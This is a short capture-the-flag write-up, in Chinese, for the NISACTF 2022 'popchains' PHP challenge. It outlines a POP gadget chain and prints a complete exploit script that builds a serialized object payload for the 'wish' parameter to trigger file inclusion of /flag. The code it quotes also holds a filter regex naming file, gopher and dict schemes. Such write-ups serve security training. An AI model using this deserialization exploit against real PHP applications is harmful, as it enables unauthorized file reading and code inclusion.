[NISACTF 2022]popchains

1. 审计源码
2. 构建pop链

Try_Work_Hard.__invoke()
    =>Make_a_change.__get
        => Road_is_Long.__toString()
           => Road_is_Long.__wakeup()

1. 编写exp ~~有坏b误导我我不说是谁~~

<?php

//echo 'Happy New Year~ MAKE A WISH<br>';

/***************************pop your 2022*****************************/

class Road_is_Long
{
    public $page;
    public $string;
    public function __construct($file = 'index.php')
    {
        $this->page = $file;
    }
    public function __toString()
    {
        return $this->string->page;
    }

    public function __wakeup()
    {
        if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard
{
    protected $var;
    public function __construct(){
        $this->var = "/flag";
    }
    public function append($value)
    {
        include($value);
    }
    public function __invoke()
    {
        $this->append($this->var);
    }
}

class Make_a_Change
{
    public $effort;
    public function __construct()
    {
        $this->effort = array();
    }

    public function __get($key)
    {
        $function = $this->effort;
        return $function();
    }
}

$a = new Try_Work_Hard;
$b = new Make_a_Change;
$c = new Road_is_Long;
$d = new Road_is_Long;

$b->effort = $a;
$c->string = $b;
$d->page = $c;
echo "?wish=" . urlencode(serialize($d));

评论